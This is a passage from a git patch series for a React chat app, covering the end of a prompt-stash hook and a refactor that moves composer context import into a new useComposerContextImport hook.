attachmentKey].join("\n"); + if (stashInFlightRef.current.has(snapshotKey)) return; + stashInFlightRef.current.add(snapshotKey); + + const stashTarget = composerDraftTarget; + const entryId = randomUUID(); + const stashAndEncode = async () => { + // Ordering matters in both directions: writing before clearing means a + // crash or closed tab mid-encode still leaves the prompt recoverable, + // while clearing before the async image work means edits typed during + // encoding are not wiped. + const { evicted, written, durable } = stashEntryToQueue({ + id: entryId, + createdAt: new Date().toISOString(), + prompt, + attachments: [], + ...(stashedFiles.length > 0 ? { files: stashedFiles } : {}), + droppedImageNames: [], + unreadableImageNames: [], + pendingImageCount: images.length, + ...(stashedRecords.length > 0 ? { records: stashedRecords } : {}), + }); + + // If it was rejected (quota) the store has already rolled itself back, + // so leave the composer untouched rather than making it the second + // casualty of a reload. + if (!written) { + toastManager.add({ + type: "error", + title: "Could not stash this prompt", + description: + "Browser storage rejected the write, so the composer was left as-is. Free up site data and try again.", + data: { hideCopyButton: true }, + }); + return; + } + if (!durable) { + toastManager.add({ + type: "warning", + title: "Stashed prompt will not survive a reload", + description: + "Browser storage is unavailable, so this stash is kept in memory only for this session.", + data: { hideCopyButton: true }, + }); + } + + promptRef.current = ""; + clearComposerDraftPromptAndImages(stashTarget); + clearComposerDraftTerminalContexts(stashTarget); + setComposerDraftThreadContexts(stashTarget, []); + for (const comment of composerReviewComments) { + removeComposerDraftReviewComment(stashTarget, comment.id); + } + for (const annotation of composerPreviewAnnotations) { + releaseAttachmentUpload(annotation.id); + removeComposerDraftPreviewAnnotation(stashTarget, annotation.id); + } + setComposerDraftPrompt(stashTarget, ""); + for (const image of images) { + releaseAttachmentUpload(image.id); + } + setComposerCursor(0); + setComposerTrigger(null); + pulseStashBadge(); + + if (evicted) { + for (const file of evicted.files ?? []) { + releasePersistedAttachmentUpload({ + id: file.id, + environmentId: file.environmentId, + attachmentId: file.attachmentId, + }); + } + toastManager.add({ + type: "warning", + title: "Oldest stashed prompt discarded", + description: `The stash holds ${MAX_STASH_ENTRIES} prompts; the oldest was removed to make room.`, + data: { hideCopyButton: true }, + }); + } + + // Images are re-encoded for the stash rather than stored verbatim: the + // composer allows up to 10MB per image, but localStorage gives the whole + // origin ~5MB. + const candidateAttachments: PersistedComposerImageAttachment[] = []; + const oversizedImageNames: string[] = []; + const unreadableImageNames: string[] = []; + for (const image of images) { + const result = await compressImageForStash(image.file); + if (!result.ok) { + (result.reason === "too-large" ? oversizedImageNames : unreadableImageNames).push( + image.name, + ); + continue; + } + candidateAttachments.push({ + id: image.id, + name: image.name, + mimeType: result.image.mimeType, + sizeBytes: result.image.sizeBytes, + dataUrl: result.image.dataUrl, + ...(image.source + ? { source: resizeSnapShotSource(image.source, result.image.imageSize) } + : {}), + }); + } + const { kept, droppedNames } = partitionStashAttachments(candidateAttachments); + + const { attached, durable: imagesDurable } = finalizeStashEntryImages(entryId, { + attachments: kept, + droppedImageNames: [...oversizedImageNames, ...droppedNames], + unreadableImageNames, + }); + if (attached) { + if (!imagesDurable && durable && images.length > 0) { + toastManager.add({ + type: "warning", + title: "Stashed images were not saved", + description: + "The prompt was stashed, but browser storage rejected its images. They will be missing if you reload.", + data: { hideCopyButton: true }, + }); + } + } else if (kept.length > 0) { + toastManager.add({ + type: "warning", + title: "Stashed images did not attach", + description: `That prompt was restored or deleted before ${kept.length} image${kept.length === 1 ? "" : "s"} finished saving. Re-attach ${kept.length === 1 ? "it" : "them"} if you still need ${kept.length === 1 ? "it" : "them"}.`, + data: { hideCopyButton: true }, + }); + } + }; + await stashAndEncode().finally(() => stashInFlightRef.current.delete(snapshotKey)); + }; + const stashCurrentPromptStable = useStableCallback(stashCurrentPrompt); + + const toggleStashMenu = () => { + if (isComposerCollapsedMobile) { + expandMobileComposer(); + setIsStashMenuOpen(true); + return; + } + setIsStashMenuOpen((open) => !open); + }; + const toggleStashMenuStable = useStableCallback(toggleStashMenu); + + const [stashMenuClosesOn, setStashMenuClosesOn] = useState({ prompt, composerMenuOpen }); + if ( + stashMenuClosesOn.prompt !== prompt || + stashMenuClosesOn.composerMenuOpen !== composerMenuOpen + ) { + setStashMenuClosesOn({ prompt, composerMenuOpen }); + if (stashMenuClosesOn.prompt !== prompt || composerMenuOpen) setIsStashMenuOpen(false); + } + + useEffect(() => { + const handler = (event: globalThis.KeyboardEvent) => { + const command = resolveShortcutCommand(event, keybindings, { + context: { + terminalFocus: getTerminalFocusOwner() !== null, + terminalOpen, + modelPickerOpen: isComposerModelPickerOpen, + }, + }); + if (command !== "composer.stash") return; + // Always claim the shortcut so the browser save dialog never opens, + // even when the composer is in a state that can't stash. + event.preventDefault(); + event.stopPropagation(); + if (isCommandPaletteOpen() || isRevertingCheckpoint) { + return; + } + if (pendingUserInputs.length > 0) { + setIsStashMenuOpen((open) => !open); + return; + } + if (projectSelectionRequired || activePendingProgress !== null) { + return; + } + void stashCurrentPromptStable(); + }; + window.addEventListener("keydown", handler, true); + return () => window.removeEventListener("keydown", handler, true); + }, [ + activePendingProgress, + isComposerModelPickerOpen, + keybindings, + pendingUserInputs.length, + projectSelectionRequired, + stashCurrentPromptStable, + isRevertingCheckpoint, + terminalOpen, + ]); + + return { + stashQueue, + isStashMenuOpen, + setIsStashMenuOpen, + stashPulse, + restoreStashEntryStable, + deleteStashEntryStable, + toggleStashMenuStable, + }; +} From fa3700214ec1701c9b28d1ab5debcc1d66bbb2c9 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 13:23:40 -0700 Subject: [PATCH 026/130] refactor(web): composer context imports live in useComposerContextImport (#23048) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/chat/ChatComposer.tsx | 342 ++------------- .../chat/useComposerContextImport.ts | 398 ++++++++++++++++++ 2 files changed, 424 insertions(+), 316 deletions(-) create mode 100644 apps/web/src/components/chat/useComposerContextImport.ts diff --git a/apps/web/src/components/chat/ChatComposer.tsx b/apps/web/src/components/chat/ChatComposer.tsx index de7dea54f9fe..127b6a940f9e 100644 --- a/apps/web/src/components/chat/ChatComposer.tsx +++ b/apps/web/src/components/chat/ChatComposer.tsx @@ -6,10 +6,8 @@ import { isLocalEnvironmentDisabled } from "../../localEnvironment"; import { usePrimaryEnvironmentId } from "../../state/environments"; import { useRightPanelStore } from "~/rightPanelStore"; import { importPastedComposerText, readPastedComposerContext } from "../composerInlineTokenPaste"; -import { elementContextToPreviewAnnotation } from "../../lib/elementContext"; import { questionAttachmentDraftId, - countQuestionAttachments, trackOpenQuestionAttachmentDraft, useQuestionAttachmentPreparation, changeQuestionAttachmentPreparation, @@ -179,7 +177,6 @@ import { import { ComposerContextActionsContext, composerContextRecordsFromDraft, - uploadedContextRecordFromDraft, } from "../composerContextPresentation"; import { useOpenPrLink } from "~/lib/openPullRequestLink"; import { @@ -192,44 +189,26 @@ import { inlineContextReferenceReplacement, } from "~/lib/composerContextReferences"; import { - asKnownContextRecord, attachmentContextRecord, - composerContextImportLookupIds, - isSameComposerContextPayload, uploadedAttachmentContextRecord, fileContextReference, imageContextReference, previewAnnotationContextId, previewAnnotationContextRecord, - previewAnnotationFromRecord, reviewCommentContextId, reviewCommentContextReference, reviewCommentContextRecord, - reviewCommentFromRecord, - terminalContextDraftFromRecord, terminalContextReference, terminalContextRecord, threadContextRecord, threadContextReference, } from "~/lib/composerContextRecords"; -import { - copiedComposerAttachmentFile, - rememberCopiedComposerAttachments, -} from "~/lib/copiedComposerAttachments"; +import { rememberCopiedComposerAttachments } from "~/lib/copiedComposerAttachments"; import { useThreadContextDrop, threadContextDropTargetProps } from "./threadContextDrag"; import { readThreadShell } from "~/state/entities"; import { requestConfirmDialog } from "~/confirmDialog"; import { encodeComposerContextFragment } from "@t3tools/shared/composerContextClipboard"; -import type { - ComposerContextClipboardFragment, - ComposerContextRecord, - ThreadPullRequestLink, -} from "@t3tools/contracts"; -import { resolveAssetUrl } from "~/assets/assetUrls"; -import { assetEnvironment } from "~/state/assets"; -import { readPreparedConnection } from "~/state/session"; -import { useAtomQueryRunner } from "~/state/use-atom-query-runner"; -import { orchestrationEnvironment } from "~/state/orchestration"; +import type { ComposerContextRecord, ThreadPullRequestLink } from "@t3tools/contracts"; import { threadContextAttachment } from "~/lib/threadContextAttachment"; import { type ComposerCommandItem, @@ -337,7 +316,6 @@ import { useMediaQuery } from "../../hooks/useMediaQuery"; import { useSoftwareKeyboardOpen } from "../../hooks/useSoftwareKeyboardOpen"; import { useStableCallback } from "../../hooks/useStableCallback"; import { usePanelAnimationSettings } from "../../panelAnimations"; -import { useAtomCommand } from "../../state/use-atom-command"; import { readEnvironmentScope } from "../../state/session"; import type { ReviewCommentContext } from "../../reviewCommentContext"; import { useComposerRestingTransition } from "./useComposerRestingTransition"; @@ -347,6 +325,7 @@ import { useProviderWorkspaceSnapshotRefresh } from "./useProviderWorkspaceSnaps import { useComposerProviderModel } from "./useComposerProviderModel"; import { useComposerImageGroups } from "./useComposerImageGroups"; import { useComposerStash } from "./useComposerStash"; +import { useComposerContextImport } from "./useComposerContextImport"; /** Reads and disarms a paste-as-text deadline: the shortcut applies to one paste only. */ function consumePasteAsTextShortcut(deadline: { current: number }): boolean { @@ -355,15 +334,6 @@ function consumePasteAsTextShortcut(deadline: { current: number }): boolean { return armed; } -async function downloadAttachmentBlob(url: string): Promise { - try { - const response = await fetch(url, { signal: AbortSignal.timeout(60_000) }); - return response.ok ? await response.blob() : null; - } catch { - return null; - } -} - const extendReplacementRangeForTrailingSpace = ( text: string, rangeEnd: number, @@ -1462,9 +1432,6 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) removeComposerDraftFile(attachmentDraftTarget, fileId); }; - const addComposerDraftTerminalContexts = useComposerDraftStore( - (store) => store.addTerminalContexts, - ); const addComposerDraftReviewComment = useComposerDraftStore((store) => store.addReviewComment); const addComposerDraftPreviewAnnotation = useComposerDraftStore( (store) => store.addPreviewAnnotation, @@ -1524,287 +1491,30 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) return fragment; }; const buildContextClipboardFragmentStable = useStableCallback(buildContextClipboardFragment); - const createAssetUrl = useAtomQueryRunner(assetEnvironment.createUrl, { reportFailure: false }); - const loadThreadTranscript = useAtomCommand(orchestrationEnvironment.threadTranscript, { - reportFailure: false, + const { + loadThreadTranscript, + countReservedAttachments, + countReservedAttachmentsStable, + importContextRecords, + importContextFragment, + importContextFragmentStable, + } = useComposerContextImport({ + environmentId, + activeThread, + activeThreadId, + composerDraftTarget, + attachmentDraftTarget, + attachmentTargetKey, + attachmentTargetKeyRef, + questionAttachmentTarget, + pendingUserInputs, + composerContextRecords, + composerImages, + composerFilesRef, + pendingImageCompressionsRef, + pendingThreadImportsRef, + addComposerFilesToDraft, }); - const countReservedAttachments = () => { - const questionRequest = pendingUserInputs[0]; - const otherQuestionKeys = - questionAttachmentTarget && questionRequest && activeThreadId - ? questionRequest.questions - .map((question) => - questionAttachmentDraftId( - environmentId, - activeThreadId, - questionRequest.requestId, - question.id, - ), - ) - .filter((key) => key !== questionAttachmentTarget) - : []; - const draft = getComposerDraft(attachmentDraftTarget); - return ( - (draft?.images.length ?? 0) + - (draft?.files.length ?? 0) + - (pendingImageCompressionsRef.current.get(attachmentTargetKey) ?? 0) + - (pendingThreadImportsRef.current.get(attachmentTargetKey) ?? 0) + - countQuestionAttachments(otherQuestionKeys) - ); - }; - const countReservedAttachmentsStable = useStableCallback(countReservedAttachments); - const runAttachmentImport = async ( - record: Extract, - localId: string, - sourceEnvironmentId: EnvironmentId, - importTargetKey: string, - ) => { - const fail = (reason: string) => { - toastManager.add({ - type: "error", - title: `Couldn't bring ${record.name} into this message`, - description: `${reason} Remove the chip or attach the file again.`, - }); - }; - let file = copiedComposerAttachmentFile(sourceEnvironmentId, record.attachmentId); - if (!file) { - const sourceConnection = readPreparedConnection(sourceEnvironmentId); - if (!sourceConnection) { - fail("The environment it came from is not connected."); - return; - } - const result = await createAssetUrl({ - environmentId: sourceEnvironmentId, - input: { resource: { _tag: "attachment", attachmentId: record.attachmentId } }, - }); - const url = - result._tag === "Success" - ? resolveAssetUrl(sourceConnection.httpBaseUrl, result.value.relativeUrl) - : null; - if (!url) { - fail("The original attachment is no longer available."); - return; - } - const blob = await downloadAttachmentBlob(url); - if (!blob) { - fail("Downloading it from the source failed."); - return; - } - file = new File([blob], record.name, { type: record.mimeType || blob.type }); - } - // The draft these bytes belong to may have been sent or switched away from while they - // downloaded. Dropping them here keeps them out of whatever draft is open now. - if (attachmentTargetKeyRef.current !== importTargetKey) return; - const replacesFileMarker = - record.kind === "file" && - composerFilesRef.current.some( - (candidate) => - composerFileNeedsReattach(candidate) && - composerFileMatchesReattachMarker(candidate, { - name: record.name, - mimeType: file.type, - sizeBytes: file.size, - }), - ); - if ( - !replacesFileMarker && - (pendingThreadImportsRef.current.get(importTargetKey) ?? 0) > 0 && - countReservedAttachments() >= PROVIDER_SEND_TURN_MAX_ATTACHMENTS - ) { - fail("The attachment limit has been reached."); - return; - } - if (record.kind === "image") { - const accepted = addComposerDraftImages( - attachmentDraftTarget, - [ - { - type: "image", - id: localId, - name: record.name, - mimeType: file.type, - sizeBytes: file.size, - previewUrl: URL.createObjectURL(file), - file, - }, - ], - { - allowDuplicates: - getComposerDraft(composerDraftTarget)?.previewAnnotations.some( - (annotation) => annotation.id === localId, - ) ?? false, - }, - ); - if (!accepted.includes(localId)) - fail("The draft rejected this attachment (duplicate or attachment limit reached)."); - } else { - const accepted = addComposerFilesToDraft([ - { - type: "file", - id: localId, - name: record.name, - mimeType: file.type, - sizeBytes: file.size, - file, - }, - ]); - if (!accepted.includes(localId)) - fail("The draft rejected this attachment (duplicate or attachment limit reached)."); - } - }; - const importAttachmentRecord = async ( - record: Extract, - localId: string, - sourceEnvironmentId: EnvironmentId, - ) => { - // The chip lands in the draft immediately while these bytes are still downloading. Count - // the transfer against its own draft so a send cannot snapshot a message whose chip has no - // attachment behind it, and so bytes for an abandoned draft never enter the next one. - const importTargetKey = attachmentTargetKey; - pendingDraftWork.begin(importTargetKey); - await runAttachmentImport(record, localId, sourceEnvironmentId, importTargetKey).finally(() => - pendingDraftWork.end(importTargetKey), - ); - }; - const importContextRecords = ( - records: ReadonlyArray, - sourceEnvironmentId: EnvironmentId | null, - threadDraftTarget = attachmentDraftTarget, - ): ReadonlyMap => { - const rewritten = new Map(); - const dependentAttachmentLocalIds = new Map(); - const skippedDependentAttachmentIds = new Set(); - // Resolve annotations before their dependent screenshot records even if a foreign - // clipboard producer emitted the records in a different order. - const orderedRecords = records.toSorted((left, right) => - left.kind === "preview-annotation" && right.kind !== "preview-annotation" - ? -1 - : right.kind === "preview-annotation" && left.kind !== "preview-annotation" - ? 1 - : 0, - ); - for (const candidate of orderedRecords) { - // Producer ids fold into context ids, so two different excerpts can collide. Only skip - // when the draft already holds the same payload; a colliding but different record is - // re-minted under a fresh id so both survive the paste. - const record = asKnownContextRecord(candidate); - if (!record) continue; - // A reminted annotation needs its screenshot under the new annotation id. - const existing = dependentAttachmentLocalIds.has(record.contextId) - ? undefined - : composerContextImportLookupIds(record).flatMap((contextId) => { - const found = composerContextRecords.get(contextId); - return found ? [found] : []; - })[0]; - // Upload completion can change the server id since copy; the local bytes still match. - if ( - sourceEnvironmentId !== null && - (record.kind === "image" || record.kind === "file") && - (existing?.kind === "image" || existing?.kind === "file") && - existing.record.file !== null && - existing.record.file === - copiedComposerAttachmentFile(sourceEnvironmentId, record.attachmentId) - ) - continue; - const existingRecord = - existing?.kind === "terminal" - ? terminalContextRecord(existing.record) - : existing?.kind === "review-comment" - ? reviewCommentContextRecord(existing.record) - : existing?.kind === "preview-annotation" - ? previewAnnotationContextRecord(existing.record, { - screenshotContextId: composerImages.some( - (image) => image.id === existing.record.id, - ) - ? existing.record.id - : undefined, - }) - : existing?.kind === "thread" - ? existing.record - : existing - ? (uploadedContextRecordFromDraft(existing) ?? undefined) - : undefined; - if ( - existingRecord && - isSameComposerContextPayload(existingRecord, record) && - (record.kind !== "thread" || threadDraftTarget === attachmentDraftTarget) - ) { - if (record.kind === "preview-annotation" && record.screenshotContextId) { - skippedDependentAttachmentIds.add(record.screenshotContextId); - } - continue; - } - const conflicts = existing !== undefined; - switch (record.kind) { - case "terminal": { - const threadId = activeThread?.id ?? activeThreadId; - if (!threadId) break; - const imported = terminalContextDraftFromRecord(record, threadId); - const draft = conflicts ? { ...imported, id: randomUUID() } : imported; - addComposerDraftTerminalContexts(composerDraftTarget, [draft], { - appendReference: false, - }); - rewritten.set(record.contextId, terminalContextReference(draft).contextId); - break; - } - case "review-comment": { - const imported = reviewCommentFromRecord(record); - const comment = conflicts ? { ...imported, id: randomUUID() } : imported; - addComposerDraftReviewComment(composerDraftTarget, comment, { - appendReference: false, - }); - rewritten.set(record.contextId, reviewCommentContextId(comment.id)); - break; - } - case "element": - case "preview-annotation": { - const imported = - record.kind === "element" - ? elementContextToPreviewAnnotation(record, randomUUID(), new Date().toISOString()) - : previewAnnotationFromRecord(record); - const annotation = conflicts ? { ...imported, id: randomUUID() } : imported; - if (record.kind === "preview-annotation" && record.screenshotContextId) { - dependentAttachmentLocalIds.set(record.screenshotContextId, annotation.id); - } - addComposerDraftPreviewAnnotation(composerDraftTarget, annotation, { - appendReference: false, - }); - rewritten.set(record.contextId, previewAnnotationContextId(annotation.id)); - break; - } - case "thread": { - // The agent can only read threads on its own server; a pasted foreign one is dropped. - if (record.environmentId !== environmentId) break; - addComposerDraftThreadContexts(threadDraftTarget, [record], { - appendReference: false, - }); - rewritten.set(record.contextId, record.contextId); - break; - } - case "image": - case "file": { - if (skippedDependentAttachmentIds.has(record.contextId)) break; - if (sourceEnvironmentId === null && !conflicts) { - rewritten.set(record.contextId, record.contextId); - break; - } - if (sourceEnvironmentId === null) break; - const localId = dependentAttachmentLocalIds.get(record.contextId) ?? randomUUID(); - rewritten.set(record.contextId, toKindScopedComposerContextId(record.kind, localId)); - void importAttachmentRecord(record, localId, sourceEnvironmentId); - break; - } - default: - break; - } - } - return rewritten; - }; - const importContextFragment = ( - fragment: ComposerContextClipboardFragment, - ): ReadonlyMap => - importContextRecords(fragment.records, fragment.source.environmentId); - const importContextFragmentStable = useStableCallback(importContextFragment); useEffect(() => { if (isLiteralPendingAnswer) return; diff --git a/apps/web/src/components/chat/useComposerContextImport.ts b/apps/web/src/components/chat/useComposerContextImport.ts new file mode 100644 index 000000000000..9fedbee2f579 --- /dev/null +++ b/apps/web/src/components/chat/useComposerContextImport.ts @@ -0,0 +1,398 @@ +import type { RefObject } from "react"; +import type { ChatComposerProps } from "./ChatComposer"; +import { + type ComposerContextClipboardFragment, + type ComposerContextRecord, + type EnvironmentId, + PROVIDER_SEND_TURN_MAX_ATTACHMENTS, +} from "@t3tools/contracts"; +import { + type ComposerFileAttachment, + type ComposerImageAttachment, + type DraftId, + composerFileMatchesReattachMarker, + composerFileNeedsReattach, + useComposerDraftStore, +} from "../../composerDraftStore"; +import { type PendingUserInput } from "../../session-logic"; +import { + asKnownContextRecord, + composerContextImportLookupIds, + isSameComposerContextPayload, + previewAnnotationContextId, + previewAnnotationContextRecord, + previewAnnotationFromRecord, + reviewCommentContextId, + reviewCommentContextRecord, + reviewCommentFromRecord, + terminalContextDraftFromRecord, + terminalContextRecord, + terminalContextReference, +} from "~/lib/composerContextRecords"; +import { assetEnvironment } from "~/state/assets"; +import { copiedComposerAttachmentFile } from "~/lib/copiedComposerAttachments"; +import { countQuestionAttachments, questionAttachmentDraftId } from "../../questionAttachments"; +import { elementContextToPreviewAnnotation } from "../../lib/elementContext"; +import { orchestrationEnvironment } from "~/state/orchestration"; +import { pendingDraftWork } from "./pendingDraftWork"; +import { randomUUID } from "~/lib/utils"; +import { readPreparedConnection } from "~/state/session"; +import { resolveAssetUrl } from "~/assets/assetUrls"; +import { toKindScopedComposerContextId } from "@t3tools/shared/composerContextReferences"; +import { toastManager } from "../ui/toast"; +import { + type ComposerDraftContextRecords, + uploadedContextRecordFromDraft, +} from "../composerContextPresentation"; +import { useAtomCommand } from "../../state/use-atom-command"; +import { useAtomQueryRunner } from "~/state/use-atom-query-runner"; +import { useStableCallback } from "../../hooks/useStableCallback"; + +async function downloadAttachmentBlob(url: string): Promise { + try { + const response = await fetch(url, { signal: AbortSignal.timeout(60_000) }); + return response.ok ? await response.blob() : null; + } catch { + return null; + } +} + +/** + * Imports copied composer context (terminal output, review comments, annotations, threads, + * images and files) into the open draft, and counts the attachment slots already spoken for. + */ +export function useComposerContextImport(input: { + readonly environmentId: EnvironmentId; + readonly activeThread: ChatComposerProps["activeThread"]; + readonly activeThreadId: ChatComposerProps["activeThreadId"]; + readonly composerDraftTarget: ChatComposerProps["composerDraftTarget"]; + readonly attachmentDraftTarget: ChatComposerProps["composerDraftTarget"]; + readonly attachmentTargetKey: string; + readonly attachmentTargetKeyRef: RefObject; + readonly questionAttachmentTarget: DraftId | null; + readonly pendingUserInputs: ReadonlyArray; + readonly composerContextRecords: ComposerDraftContextRecords; + readonly composerImages: ReadonlyArray; + readonly composerFilesRef: ChatComposerProps["composerFilesRef"]; + readonly pendingImageCompressionsRef: RefObject>; + readonly pendingThreadImportsRef: RefObject>; + readonly addComposerFilesToDraft: (files: ComposerFileAttachment[]) => string[]; +}) { + const { + environmentId, + activeThread, + activeThreadId, + composerDraftTarget, + attachmentDraftTarget, + attachmentTargetKey, + attachmentTargetKeyRef, + questionAttachmentTarget, + pendingUserInputs, + composerContextRecords, + composerImages, + composerFilesRef, + pendingImageCompressionsRef, + pendingThreadImportsRef, + addComposerFilesToDraft, + } = input; + const getComposerDraft = useComposerDraftStore((store) => store.getComposerDraft); + const addComposerDraftImages = useComposerDraftStore((store) => store.addImages); + const addComposerDraftTerminalContexts = useComposerDraftStore( + (store) => store.addTerminalContexts, + ); + const addComposerDraftReviewComment = useComposerDraftStore((store) => store.addReviewComment); + const addComposerDraftPreviewAnnotation = useComposerDraftStore( + (store) => store.addPreviewAnnotation, + ); + const addComposerDraftThreadContexts = useComposerDraftStore((store) => store.addThreadContexts); + const createAssetUrl = useAtomQueryRunner(assetEnvironment.createUrl, { reportFailure: false }); + const loadThreadTranscript = useAtomCommand(orchestrationEnvironment.threadTranscript, { + reportFailure: false, + }); + const countReservedAttachments = () => { + const questionRequest = pendingUserInputs[0]; + const otherQuestionKeys = + questionAttachmentTarget && questionRequest && activeThreadId + ? questionRequest.questions + .map((question) => + questionAttachmentDraftId( + environmentId, + activeThreadId, + questionRequest.requestId, + question.id, + ), + ) + .filter((key) => key !== questionAttachmentTarget) + : []; + const draft = getComposerDraft(attachmentDraftTarget); + return ( + (draft?.images.length ?? 0) + + (draft?.files.length ?? 0) + + (pendingImageCompressionsRef.current.get(attachmentTargetKey) ?? 0) + + (pendingThreadImportsRef.current.get(attachmentTargetKey) ?? 0) + + countQuestionAttachments(otherQuestionKeys) + ); + }; + const countReservedAttachmentsStable = useStableCallback(countReservedAttachments); + const runAttachmentImport = async ( + record: Extract, + localId: string, + sourceEnvironmentId: EnvironmentId, + importTargetKey: string, + ) => { + const fail = (reason: string) => { + toastManager.add({ + type: "error", + title: `Couldn't bring ${record.name} into this message`, + description: `${reason} Remove the chip or attach the file again.`, + }); + }; + let file = copiedComposerAttachmentFile(sourceEnvironmentId, record.attachmentId); + if (!file) { + const sourceConnection = readPreparedConnection(sourceEnvironmentId); + if (!sourceConnection) { + fail("The environment it came from is not connected."); + return; + } + const result = await createAssetUrl({ + environmentId: sourceEnvironmentId, + input: { resource: { _tag: "attachment", attachmentId: record.attachmentId } }, + }); + const url = + result._tag === "Success" + ? resolveAssetUrl(sourceConnection.httpBaseUrl, result.value.relativeUrl) + : null; + if (!url) { + fail("The original attachment is no longer available."); + return; + } + const blob = await downloadAttachmentBlob(url); + if (!blob) { + fail("Downloading it from the source failed."); + return; + } + file = new File([blob], record.name, { type: record.mimeType || blob.type }); + } + // The draft these bytes belong to may have been sent or switched away from while they + // downloaded. Dropping them here keeps them out of whatever draft is open now. + if (attachmentTargetKeyRef.current !== importTargetKey) return; + const replacesFileMarker = + record.kind === "file" && + composerFilesRef.current.some( + (candidate) => + composerFileNeedsReattach(candidate) && + composerFileMatchesReattachMarker(candidate, { + name: record.name, + mimeType: file.type, + sizeBytes: file.size, + }), + ); + if ( + !replacesFileMarker && + (pendingThreadImportsRef.current.get(importTargetKey) ?? 0) > 0 && + countReservedAttachments() >= PROVIDER_SEND_TURN_MAX_ATTACHMENTS + ) { + fail("The attachment limit has been reached."); + return; + } + if (record.kind === "image") { + const accepted = addComposerDraftImages( + attachmentDraftTarget, + [ + { + type: "image", + id: localId, + name: record.name, + mimeType: file.type, + sizeBytes: file.size, + previewUrl: URL.createObjectURL(file), + file, + }, + ], + { + allowDuplicates: + getComposerDraft(composerDraftTarget)?.previewAnnotations.some( + (annotation) => annotation.id === localId, + ) ?? false, + }, + ); + if (!accepted.includes(localId)) + fail("The draft rejected this attachment (duplicate or attachment limit reached)."); + } else { + const accepted = addComposerFilesToDraft([ + { + type: "file", + id: localId, + name: record.name, + mimeType: file.type, + sizeBytes: file.size, + file, + }, + ]); + if (!accepted.includes(localId)) + fail("The draft rejected this attachment (duplicate or attachment limit reached)."); + } + }; + const importAttachmentRecord = async ( + record: Extract, + localId: string, + sourceEnvironmentId: EnvironmentId, + ) => { + // The chip lands in the draft immediately while these bytes are still downloading. Count + // the transfer against its own draft so a send cannot snapshot a message whose chip has no + // attachment behind it, and so bytes for an abandoned draft never enter the next one. + const importTargetKey = attachmentTargetKey; + pendingDraftWork.begin(importTargetKey); + await runAttachmentImport(record, localId, sourceEnvironmentId, importTargetKey).finally(() => + pendingDraftWork.end(importTargetKey), + ); + }; + const importContextRecords = ( + records: ReadonlyArray, + sourceEnvironmentId: EnvironmentId | null, + threadDraftTarget = attachmentDraftTarget, + ): ReadonlyMap => { + const rewritten = new Map(); + const dependentAttachmentLocalIds = new Map(); + const skippedDependentAttachmentIds = new Set(); + // Resolve annotations before their dependent screenshot records even if a foreign + // clipboard producer emitted the records in a different order. + const orderedRecords = records.toSorted((left, right) => + left.kind === "preview-annotation" && right.kind !== "preview-annotation" + ? -1 + : right.kind === "preview-annotation" && left.kind !== "preview-annotation" + ? 1 + : 0, + ); + for (const candidate of orderedRecords) { + // Producer ids fold into context ids, so two different excerpts can collide. Only skip + // when the draft already holds the same payload; a colliding but different record is + // re-minted under a fresh id so both survive the paste. + const record = asKnownContextRecord(candidate); + if (!record) continue; + // A reminted annotation needs its screenshot under the new annotation id. + const existing = dependentAttachmentLocalIds.has(record.contextId) + ? undefined + : composerContextImportLookupIds(record).flatMap((contextId) => { + const found = composerContextRecords.get(contextId); + return found ? [found] : []; + })[0]; + // Upload completion can change the server id since copy; the local bytes still match. + if ( + sourceEnvironmentId !== null && + (record.kind === "image" || record.kind === "file") && + (existing?.kind === "image" || existing?.kind === "file") && + existing.record.file !== null && + existing.record.file === + copiedComposerAttachmentFile(sourceEnvironmentId, record.attachmentId) + ) + continue; + const existingRecord = + existing?.kind === "terminal" + ? terminalContextRecord(existing.record) + : existing?.kind === "review-comment" + ? reviewCommentContextRecord(existing.record) + : existing?.kind === "preview-annotation" + ? previewAnnotationContextRecord(existing.record, { + screenshotContextId: composerImages.some( + (image) => image.id === existing.record.id, + ) + ? existing.record.id + : undefined, + }) + : existing?.kind === "thread" + ? existing.record + : existing + ? (uploadedContextRecordFromDraft(existing) ?? undefined) + : undefined; + if ( + existingRecord && + isSameComposerContextPayload(existingRecord, record) && + (record.kind !== "thread" || threadDraftTarget === attachmentDraftTarget) + ) { + if (record.kind === "preview-annotation" && record.screenshotContextId) { + skippedDependentAttachmentIds.add(record.screenshotContextId); + } + continue; + } + const conflicts = existing !== undefined; + switch (record.kind) { + case "terminal": { + const threadId = activeThread?.id ?? activeThreadId; + if (!threadId) break; + const imported = terminalContextDraftFromRecord(record, threadId); + const draft = conflicts ? { ...imported, id: randomUUID() } : imported; + addComposerDraftTerminalContexts(composerDraftTarget, [draft], { + appendReference: false, + }); + rewritten.set(record.contextId, terminalContextReference(draft).contextId); + break; + } + case "review-comment": { + const imported = reviewCommentFromRecord(record); + const comment = conflicts ? { ...imported, id: randomUUID() } : imported; + addComposerDraftReviewComment(composerDraftTarget, comment, { + appendReference: false, + }); + rewritten.set(record.contextId, reviewCommentContextId(comment.id)); + break; + } + case "element": + case "preview-annotation": { + const imported = + record.kind === "element" + ? elementContextToPreviewAnnotation(record, randomUUID(), new Date().toISOString()) + : previewAnnotationFromRecord(record); + const annotation = conflicts ? { ...imported, id: randomUUID() } : imported; + if (record.kind === "preview-annotation" && record.screenshotContextId) { + dependentAttachmentLocalIds.set(record.screenshotContextId, annotation.id); + } + addComposerDraftPreviewAnnotation(composerDraftTarget, annotation, { + appendReference: false, + }); + rewritten.set(record.contextId, previewAnnotationContextId(annotation.id)); + break; + } + case "thread": { + // The agent can only read threads on its own server; a pasted foreign one is dropped. + if (record.environmentId !== environmentId) break; + addComposerDraftThreadContexts(threadDraftTarget, [record], { + appendReference: false, + }); + rewritten.set(record.contextId, record.contextId); + break; + } + case "image": + case "file": { + if (skippedDependentAttachmentIds.has(record.contextId)) break; + if (sourceEnvironmentId === null && !conflicts) { + rewritten.set(record.contextId, record.contextId); + break; + } + if (sourceEnvironmentId === null) break; + const localId = dependentAttachmentLocalIds.get(record.contextId) ?? randomUUID(); + rewritten.set(record.contextId, toKindScopedComposerContextId(record.kind, localId)); + void importAttachmentRecord(record, localId, sourceEnvironmentId); + break; + } + default: + break; + } + } + return rewritten; + }; + const importContextFragment = ( + fragment: ComposerContextClipboardFragment, + ): ReadonlyMap => + importContextRecords(fragment.records, fragment.source.environmentId); + const importContextFragmentStable = useStableCallback(importContextFragment); + + return { + 